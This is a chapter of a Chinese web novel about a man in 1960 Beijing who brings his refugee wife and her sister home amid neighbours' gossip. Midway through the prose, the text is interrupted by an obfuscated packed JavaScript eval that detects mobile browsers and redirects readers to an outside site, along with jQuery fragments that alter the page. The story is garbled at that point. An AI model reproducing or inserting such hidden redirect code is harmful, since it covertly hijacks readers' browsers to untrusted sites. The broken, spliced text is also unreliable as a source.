正歇着的李婶子也搭了腔,语气里带着点同情,说到:
“建国这孩子,打小就能倒腾。
解放前那光景多难?他不也把建华拉扯大了?
现在这年月,好歹有口吃的,养活一家人,兴许…他有他的门道?
唉,就是可怜,没爹妈在跟前儿掌舵,这日子啊,总归差着点意思。”
边上的秦淮茹听着,嘴角几不可察地撇了撇,心里嘀咕:
有的老的,有还不如没有呢。
她嘴上却顺着话茬,带着点疑惑说到:
“说的是呢。建国模样身量都不差,人也踏实,咋就……找了个那样的?”
陆家婶子快人快语,直接点破了,说道:
“还不是没老的张罗呗!
早几年,他自个儿还拖着个弟弟,哪个正经姑娘家愿意进门就‘当妈’?
等建华考上大学走了,建国又常不着家,更没人替他操心这婚事了。
要我说啊,他这也是被逼得没辙了,才找了个逃荒过来的。”
二大妈一听,仿佛找到了更合理的解释,声音都拔高了些,说到:
“可不就是这个理儿!
那逃荒的里头,但凡有点模样的,早被抢光了!
能剩下来的……啧啧。
就这,我估摸着还是因为建国有份工作,能养得起她和她那孩子,人家才肯留下的。
要不然啊,党建国?
哼,光有个工作有啥用,连这样的怕是都捞不着!”
说完,二大妈那眼神儿,有意无意地就往三大妈那边瞟。
三大妈心里那叫一个堵!不就是你家刘光齐念了个中专,我家解成是工人吗?当下就挂不住了,话里带刺地顶了回去:
“话不能这么说!
建国这孩子,好歹是正经高中毕业,在厂里熬了这些年,大小也是个干事了吧?
这前程,可比那刚出校门的中专生,强得可不是一星半点儿!”
这话一出,满屋子人眼神都变了。
好家伙,这么勇的吗?
当着二大妈面这么说?
这是直接捅心窝子上了啊!
妇女同志们的闲话家常,往往就是这样,话赶话的,不知不觉,就从东头扯到了西头,最后谁也记不清开头是啥了。
情报中心啊,恐怖如斯!
党建国三人送完糖,回到自家小院,关上自家的院门,仿佛将外面所有的窥探和议论都隔绝在外。
李春花姐妹俩,这才长长地舒了一口气,一直紧绷的肩膀也垮了下来。
她们好奇又带着点怯生生地打量着这个真正属于她们的新家。
当看到院子里那畦,在冬日里依然生长着白菜和菠菜的菜地时,姐妹俩眼中迸发出巨大的欣喜!
李春花蹲下身,手指轻轻拂过嫩绿的菜叶,心里的不安消散了大半:
有菜就好!有这块地搭配点粮食,姐妹俩就饿不死!
党建国领着她们上二楼,指着东边那间收拾得干净整齐的空屋说到:
“秋月以后就住这间,向阳,暖和。”
李秋月看着那镶嵌着玻璃的窗户、带着点儿碎花的窗帘,还有一张新做的木床,上面放着干净的席子,眼睛亮晶晶的,小声说了句:“谢谢姐夫。”
三人再爬上楼梯到三楼平台,眼前豁然开朗——
整个平方顶部,被规划成整齐的菜畦,白菜长得精神抖擞,像一排排站岗的士兵!
李春花的心,是彻底放回了肚子里,脸上露出了踏实的笑容:
有这么多菜!只要精心伺候着,一家人起码饿不死的保障有了!
回到一楼正屋,党建国推开东屋的门,他指着屋里介绍到:
这些瓮里装的都是粮食,有杂粮面、炒面、红薯、大米、白面;
这边几个小缸里有咸肉、知了猴、还有点咸鱼之类的,那边那个坛子里是之前回收的渣油;
一个缸上摆着一串串干辣椒;
墙根下,一堆的土豆和一小袋鼓鼓的黄豆。
党建国暂时还没带她们下地窖,只是轻描淡写地提了一句:
“地窖里还有点粮食和食盐,应急的。”
眼前的景象,对经历过饥饿和逃荒的李春花来说,不啻于看到了一座金山!
她只觉得,像是有一股巨大的暖流,冲散了心底最后一丝疑虑,眼眶瞬间就热了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184934|178437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>有这么多实实在在的粮食!
只要精打细算,勒紧裤腰带,就绝对饿不着!
这个男人,没骗人!
党建国看着李春花眼中闪烁的泪光,心里也踏实了。
他从炕柜里摸索出一个旧手帕包,打开,拿出五张崭新的“大黑拾”,递到李春花面前说到:
“春花,这是家用的钱。
户口本和平时发的粮票、副食票、工业券这些,之前都是建华收着,等他周末回来就都交给你管。
这钱你先拿着,等有了布票,”
他指了指姐妹俩身上补丁摞补丁的衣裳,说道:
“扯点布,给你和秋月一人做身新衣裳,再买两双厚实点的棉鞋,四九城这这儿的冬天,冷的狠。”
五十块!厚厚一沓“大黑十”!
李春花吓得手猛地缩了回去,像被烫到一样,连连摆手说到:
“当……当家的,这……这太多了!
使不得!我……我怕我管不好,弄丢了……”
她这辈子都没摸过这么多钱!(法币和金圆券在老区基本看不到,旧版的金额是大,但是实际没那么大)
在农村,一家人辛苦一年,年底一人要是能结余个三五块钱,买盐扯布就是好年景了!
(是一人啊,不是一家,括号里的不算字数)
党建国不由分说,把钱塞进她因为紧张而冰凉的手里,语气不客气的说到:
“拿着!家里钱趁手。
我工作忙,经常顾不上家,以后柴米油盐、针头线脑、人情往来,都得你操心张罗。
你是这个家的女主人,这钱就该你管。”
他工资高,民工处的奖金也丰厚,这些年攒了两千多块的“巨款”,五十块真不算什么。
但在1960年,这绝对是一笔能让普通工人家庭咋舌的“巨款”。
李春花颤抖着手接过钱,只觉得手心发烫。
她小心翼翼地把钱用手绢仔细包好,想了想,又抽出一张钱,单独包在一个小手绢里,塞进外套的口袋——这是预备日常花销。
剩下的四十块,被她珍而重之地放进那个旧手帕包,再仔细地藏到炕柜最深处。